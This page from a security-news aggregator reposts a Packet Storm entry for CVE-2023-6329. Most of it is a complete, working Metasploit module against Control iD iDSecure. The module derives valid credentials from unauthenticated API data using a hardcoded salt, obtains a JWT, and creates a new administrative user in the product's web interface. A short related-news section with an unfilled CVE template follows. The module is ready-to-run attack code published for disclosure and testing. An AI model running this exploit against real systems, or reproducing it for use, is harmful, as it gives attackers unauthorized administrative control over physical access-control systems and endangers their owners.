Security
Headlines
HeadlinesLatestCVEs

Headline

Control ID IDSecure Authentication Bypass

This Metasploit module exploits an improper access control vulnerability (CVE-2023-6329) in Control iD iDSecure less than or equal to v4.7.43.0. It allows an unauthenticated remote attacker to compute valid credentials and to add a new administrative user to the web interface of the product.

Packet Storm
#vulnerability#web#js#auth#ssl
class MetasploitModule < Msf::Auxiliary  include Msf::Exploit::Remote::HttpClient  prepend Msf::Exploit::Remote::AutoCheck  CheckCode = Exploit::CheckCode  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Control iD iDSecure Authentication Bypass (CVE-2023-6329)',        'Description' => %q{          This module exploits an improper access control vulnerability (CVE-2023-6329) in Control iD iDSecure <= v4.7.43.0. It allows an          unauthenticated remote attacker to compute valid credentials and to add a new administrative user to the web interface of the product.        },        'Author' => [          'Michael Heinzl', # MSF Module          'Tenable' # Discovery and PoC        ],        'References' => [          ['CVE', '2023-6329'],          ['URL', 'https://www.tenable.com/security/research/tra-2023-36']        ],        'DisclosureDate' => '2023-11-27',        'DefaultOptions' => {          'RPORT' => 30443,          'SSL' => 'True'        },        'License' => MSF_LICENSE,        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]        }      )    )    register_options([      OptString.new('NEW_USER', [true, 'The new administrative user to add to the system', Rex::Text.rand_text_alphanumeric(8)]),      OptString.new('NEW_PASSWORD', [true, 'Password for the specified user', Rex::Text.rand_text_alphanumeric(12)])    ])  end  def check    begin      res = send_request_cgi({        'method' => 'GET',        'uri' => normalize_uri(target_uri.path, 'api/util/configUI')      })    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError      return CheckCode::Unknown    end    return CheckCode::Unknown unless res&.code == 401    data = res.get_json_document    version = data['Version']    return CheckCode::Unknown if version.nil?    print_status('Got version: ' + version)    return CheckCode::Safe unless Rex::Version.new(version) <= Rex::Version.new('4.7.43.0')    return CheckCode::Appears  end  def run    # 1) Obtain the serial and passwordRandom    res = send_request_cgi(      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, 'api/login/unlockGetData')    )    unless res      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')    end    unless res.code == 200      fail_with(Failure::UnexpectedReply, res.to_s)    end    json = res.get_json_document    unless json.key?('passwordRandom') && json.key?('serial')      fail_with(Failure::UnexpectedReply, 'Unable to retrieve passwordRandom and serial')    end    password_random = json['passwordRandom']    serial = json['serial']    print_good('Retrieved passwordRandom: ' + password_random)    print_good('Retrieved serial: ' + serial)    # 2) Create passwordCustom    sha1_hash = Digest::SHA1.hexdigest(serial)    combined_string = sha1_hash + password_random + 'cid2016'    sha256_hash = Digest::SHA256.hexdigest(combined_string)    short_hash = sha256_hash[0, 6]    password_custom = short_hash.to_i(16).to_s    print_status("Created passwordCustom: #{password_custom}")    # 3) Login with passwordCustom and passwordRandom to obtain a JWT    body = "{\"passwordCustom\": \"#{password_custom}\", \"passwordRandom\": \"#{password_random}\"}"    res = send_request_cgi({      'method' => 'POST',      'ctype' => 'application/json',      'uri' => normalize_uri(target_uri.path, 'api/login/'),      'data' => body    })    unless res      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')    end    unless res.code == 200      fail_with(Failure::UnexpectedReply, res.to_s)    end    json = res.get_json_document    unless json.key?('accessToken')      fail_with(Failure::UnexpectedReply, 'Did not receive JWT')    end    access_token = json['accessToken']    print_good('Retrieved JWT: ' + access_token)    # 4) Add a new administrative user    body = {      idType: '1',      name: datastore['NEW_USER'],      user: datastore['NEW_USER'],      newPassword: datastore['NEW_PASSWORD'],      password_confirmation: datastore['NEW_PASSWORD']    }.to_json    res = send_request_cgi({      'method' => 'POST',      'ctype' => 'application/json',      'headers' => {        'Authorization' => "Bearer #{access_token}"      },      'uri' => normalize_uri(target_uri.path, 'api/operator/'),      'data' => body    })    unless res      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')    end    unless res.code == 200      fail_with(Failure::UnexpectedReply, res.to_s)    end    json = res.get_json_document    unless json.key?('code') && json['code'] == 200 && json.key?('error') && json['error'] == 'OK'      fail_with(Failure::UnexpectedReply, 'Received unexpected value for code and/or error:\n' + json.to_s)    end    # 5) Confirm credentials work    body = {      username: datastore['NEW_USER'],      password: datastore['NEW_PASSWORD'],      passwordCustom: nil    }.to_json    res = send_request_cgi({      'method' => 'POST',      'ctype' => 'application/json',      'uri' => normalize_uri(target_uri.path, 'api/login/'),      'data' => body    })    unless res      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')    end    unless res.code == 200      fail_with(Failure::UnexpectedReply, res.to_s)    end    json = res.get_json_document    unless json.key?('accessToken') && json.key?('unlock')      fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)    end    store_valid_credential(user: datastore['NEW_USER'], private: datastore['NEW_PASSWORD'], proof: json.to_s)    print_good("New user '#{datastore['NEW_USER']}:#{datastore['NEW_PASSWORD']}' was successfully added.")    print_good("Login at: #{full_uri(normalize_uri(target_uri, '#/login'))}")  endend

Related news

CVE-2023-6329: Control iD iDSecure passwordCustom Authentication Bypass

[PROBLEMTYPE] in [COMPONENT] in [VENDOR] [PRODUCT] [VERSION] on [PLATFORMS] allows [ATTACKER] to [IMPACT] via [VECTOR]

Packet Storm: Latest News

Ivanti EPM Remote Code Execution